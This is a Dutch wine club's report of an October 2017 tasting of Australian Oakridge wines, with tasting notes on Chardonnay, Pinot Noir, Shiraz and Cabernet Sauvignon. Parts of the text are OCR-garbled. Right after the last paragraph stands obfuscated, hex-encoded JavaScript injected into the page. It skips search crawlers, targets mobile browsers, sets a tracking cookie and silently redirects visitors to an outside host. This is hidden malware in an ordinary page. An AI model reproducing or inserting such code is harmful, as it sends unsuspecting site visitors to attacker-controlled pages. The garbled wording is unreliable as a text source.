Volgende Proeverij:

  • 00 D
  • 00 U
  • 00 M
  • 00 S
+

NWG Utrecht – proefverslag Australie/Oakridge, oktober 2017

Categories: Utrecht Proefverslagen

SOUTH-AUSTRALIA
gepresenteerd door
Jacqueline van der Chijs.

Proefnotities Australie oktober 2017

Maandag 9 oktober nam Jacqueline ons mee uit het herfstige Nederland naar de andere kant van de
wereld om op (wijn)- avontuur te gaan in het zoimige AustraliA�. Het bleek een mooie gelegenheid
te zijn om het familiebezoek te combineren met het bezoeken van een aantal wijnboeren. Als ik het
goed heb begrepen zo’n 20-tal. Nu is het natuurlijk ondoenlijk om in het vliegtuig voor ons een
proeverij mee te nemen, maar de oplossing lag in Nederland. De favoriete wijnen van Jacqueline
worden hier geimporteerd.


Maar voordat zij kon losbranden, opende de voorzitter deze avond en heette iedereen welkom
waaronder weer betrekkelijk veel nieuwe gezichten, op zich is dat natuurlijk verheugend voor een
vereniging als de onze, maar het maakt het soms wel moeilijk om niet alleen de gezichten te
onthouden, maar nog meer geldt dat voor de namen. We hopen in ieder geval dat zij zich, indien ze
zich bij ons thuisvoelen, we tijd krijgen om ze te leren kermen.
Mag het bovenstaande gelden voor onze nieuwe gasten, op persoonlijke, titel hoop ik dat onze oude
getrouwe gezichten die nu nog in de ziekenboeg verkeren weer snel in staat zullen zijn zich weer te
laten zien, we zullen ze ongetwijfeld weer warm ontvangen. Helaas heeft Watze zich om gezondheidsredenen
permanent afgemeld, maar hoopt zich ooit weer bij ons gezelschap te voegen. Wij
wensen hem vooral veel sterkte toe.
Maar nu echt naar de proeverij, Jacqueline heeft zoals eerder gezegd haar vakantie doorgebracht bij
haar familie, wat haar echter niet belette om daar een wijnverkermingstocht aan vast te knopen.
EA�n van de favoriete wijnbedrijven die ze graag wilde bezoeken was Oakridge Wines en dat heeft
ze ook geweten. Op haar weg daamaartoe had ze, als ik dat goed heb begrepen een bijna aanvaring
met een wilde hond, om daarna ruzie te krijgen met, hoe kan het anders, een kangeroe. Daarbij
moest ze vol in de remmen, met als gevolg dat een achterligger haar achterkant toucheerde.
Achteraf bleek deze mevrouw haar gastvrouw van het te bezoeken wijngoed te zijn. Als grote winst,
naast alle excuses, kwam er een mooie en langdurige proeverij tot stand. Het resultaat konden wij
deze avond gaan proeven. Zoals we gewend zijn van Jacqueline was de informatie uitgebreid en
volledig. Enige documentatie daarvan zal ik hier dan ook afdrukken.

Dat AustraliA� de Chardonnay door de jaren heen heeft omarmd, was al heel lang bekend, maar ook
dat het vaak zware door hout gedomineerde wijnen waren. Dat het ook anders kan bleek in de serie
van drie Chardonnays die we in ons glas kregen. De instapwijn die men daar” Over the
Shoulder”noemt, in dit geval uit het jaar 2015, bleek een mooie lichtgele-citroenkleurige wijn te
zijn met geuren van bloemetjes, citrustonen, hout en toast. In de mond een goede zuurgraad en wat
lichte houttonen met daarbij een flinke dosis zoet en een licht vetje. Prima fruit, pittig en redelijk
complex. Niet geheel in balans, maar zeker een goed glas wijn.

Daarnaast proefden we uit het jaar
2014 van de serie Lokal Vineyard, een Chardormay uit de wijngaard Willowlake. Zoals u kimt zien
is er op een aantal etiketten iets weggestreept en wat bijgeschreven. Excuses daarvoor, waarschijnlijk
doordat de etiketten alemaal gelijk zijn heb ik een paar flessen meegenomen waar niet de
goede druivensoort op stond.

De laatste witte wijn van dit edele drietal komt uit de Barkala Ridge Vineyard (2013), en dan
komen we het dichtst bij de oude bekende Chardormays, rijk en dik. De druiven, evenals de andere
worden met de hand geplukt en ondergaan alemaal houtrijping. De druiven worden direct na het
oogsten geperst en gaan dan over in 500 liter vaten van Frans eiken, waarna er elf maanden
houtrijping volgt.
Deze Barkala wijn vertoonde een vrij dikke gele kleur, goudgeel, mooi en helder. Intens. Wat de
geur betreft kregen we aroma’s van hout( vanille en wat ceder), tropisch fiiiit en iets mineraligs.
een intens bouquet van geuren. In de mond mooie zuren naast de zoettonen, mollig, houttonen en
dik geel fiiiit. Naast het wat dikke mondgevoel een hoge geur en smaakintensiteit. Eigenlijk een
prachtige wijn, die echter van alles net een beetje teveel heeft. Als we dit trio dan even bekijken
dan is de conclusie ongeveer, de eerste wijn iets aan de schrale kant maar wel goed. De tweede wijn
voldeed eigenlijk het beste, had de mooiste balans en van alles precies het juiste. Wijn drie, mooi,
maar iets te overdadig. Toch een hele mooie serie.

Na de serie witte wijnen, nu een drietal rode met als druif de Pinot-Noir. Dringt zich de vergelijking
op bij de witte wijnen met de Bourgogne, onterecht natuurlijk, bij de rode is dat eveneens het geval,
en net zo onterecht. De omstandigheden zijn zo anders dat elke vergelijking mank gaat, hoewel,
het klimaat volgens Jacqueline wel vergelijkbaar is. Dat klopt natuurlijk wel met de filosofie dat de
Pinot-Noir-druif het beste tot zijn recht komt bij dit soort weersomstandigheden. We zien dit ook
b.v. in Frankrijk waar deze druif die uit het warme zuiden komt, een totaal ander karakter heeft gekregen.
We gaan naar wijn nummer vier en de eerste Pinot-Noir met dezelfde titel als onze eerste wijn, een
” Over the Shoulder” eveneens uit de Yarra Valey en ditmaal een 2015. Dit jaar had een mild
voorjaar en men gebruikt voor de wijn druiven uit de regio. De wijn in ons glas was hchtrood, nog
wat paars, transparant en helder. De Pinot-Noir kenmerkt zich meestal door een lichte heldere kleur.
In de neus aardbeien, lichte toets van zwarte bessen, kruidigheid en hchte houttonen. In mond
stevige tannines, bitters en zuren. Wel lekker fruit, een pittig mondgevoel (jonge wijn), redelijk
complex. Korte afdronk. Voor een betrekkelijk jonge eenvoudige wijn toch geen slecht rapport.

In tegensteling tot de eerste Pinot, die uit diverse wijngaarden afkomstig was, komt de tweede wijn
uit de Willowlake Vineyard, maar wel hetzelfde jaar. De druiven groeien op de beste plek van deze
wijngaard met grond van vulkanische oorsprong, die van Gladysdale. De wijn was mooi
helderrood, wat lichter dan de vorige. Intens. Wat de geuren betteft troffen we een stalletje aan met
daarbij kersen en pruimen. Toetsje van likeur. In de mond een goede zuurgraad en een prima zoetje.
Naast het fruit van pruimen nog vrij strakke taimines en wat bitters. Een stevig mondgevoel met een
vrij lange afdronk. Zeker een wijn met potentie, en een goede balans.

De derde Pinot-Noir vervolmaakt dit mooie trio wijnen maar nu van het jaar 2014. Was het begin
van het seizoen niet veelbelovend, de bloei was wat magertjes, maar in de tijd dat druiven moesten
rijpen waren de condities ideaal en was men zeer tevreden over het eindresultaat.
De wijn was helderrood met een neiging naar bruin, en donkerder dan de vorige wijn. In de geuren
een lekkere stallucht, pepertje, hout en drop. In het fruit kersen op sap. Redelijk intens. De smaken
kwamen goed overeen met de geuren, terwijl de zuren en zoeten goed waren ontwikkeld en zorgden
voor een prima balans. Het mondgevoel was strak/stevig met een hoge smaakintensiteit, een lange
afdronk en pittig mondgevoel.

Dan komen we bijna onvermijdelijk bij een druivensoort terecht die bijna onlosmakelijk is verbonden
met AustraliA�, de Shiraz.
Bij de firma Oakridge is het zeker niet een heel belangrijk deel van hun wijngaardareaal, dat zijn
met voorsprong de Chardonnay en de Pinot-Noir. Dat het resultaat daarvan zeker niet teleurstelt
moge blijken uit het proefrapportje van onze proevers.
Ook hier praten we over een “Over the Shoulder “wijn uit het jaar 2013, en dat betekent dat de
druiven komen van lokale wijngaarden.
Donkerrood van kleur, bijna ondoorzichtig. Hoge intensiteit. In de geuren vonden we vruchten op
sap, kruidigheid, cassis, bramen en kruidnagel en wat hout terug. In de mond houttonen, bramen en
cassis naast kruidigheid, mooie fruitsmaken, beetje jammig. Behoorlijke zoettonen naast wat zuren
en nauwelijks bitters. Wel een stevige wijn in de mond met een vol mondgevoel. Mooie wijn, maar
meer krachtig dan elegantie of charme.

Ja, en dan komen we onvermijdelijk aan de laatste wijn toe dachten wij, maar Jacqueline had er
toch nog een andere Shiraz tussen geschoven, een LVS 2014, en zo’n tweede wijn van dezelfde
druivensoort geeft een mooie gelegenheid tot vergelijken. Deze wijn bezat in zijn kleur nog wat
paars, was mooi helder. De geuren kwamen aardig overeen met de vorige wijn, terwijl in de smaak
dat jammige toontje niet voorkwam. De wijn was wat eleganter en iets complexer. Goede balans,
lange afdronk.

Nu echt de laatste wijn van deze avond, en die besluiten we met een Cabemet-Sauvignon. Deze
wijn gaat onder de fantastische naam “Block 864 de wijde wereld in. Die naam dankt de wijn aan
het huisnummer in Oakridge 864. De druiven hiervoor zijn afkomstig van A�A�n van de beste percelen
in de Yarra Valley. De druiven worden handgeplukt en geselecteerd om daar na 4 dagen inweken
verder te fermenteren bij maximaal 30 graden Twee maal per dag wordt de most dan rondgepompt.
Na vier weken worden de schillen en most geperst en krijgen dan maximaal 15 maanden in Frans
eiken fusten om te rijpen, en het resultaat daarvan gingen we proeven.
We zagen een wijn in ons glas met een diep paarsrode kleur met een goede intensiteit. In de neus
mooi rood fruit van cassis, houttonen en wat droppigs. Ook wat kirsch was waarneembaar, het zoet
en de zuren waren mooi in balans ,wel taimines en bitters. Iets teveel aan (cederhout). Hoog
smaakgehalte, stevig mondgevoel, hout niet opgenomen in de wijn. Mooie Cabemet-Sauvignon,
Bewaren!!.

Het was een mooie finale die met veel verve door Jacqueline aan ons werd gepresenteerd, en een
kijkje gaven in de Australische wijnkeuken. Dat dit alles door de aanwezigen zeer werd
gewaardeerd bleek uit het mooie applaus wat haar ten deel viel. Door Jan werd ze tot besluit getracteerd
op een fraaie fles. Zoals gebruikelijk vielen ook de kaas en de nadrink in goede aarde, en
konden we spreken van een zeer geslaagde avond.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Geef een reactie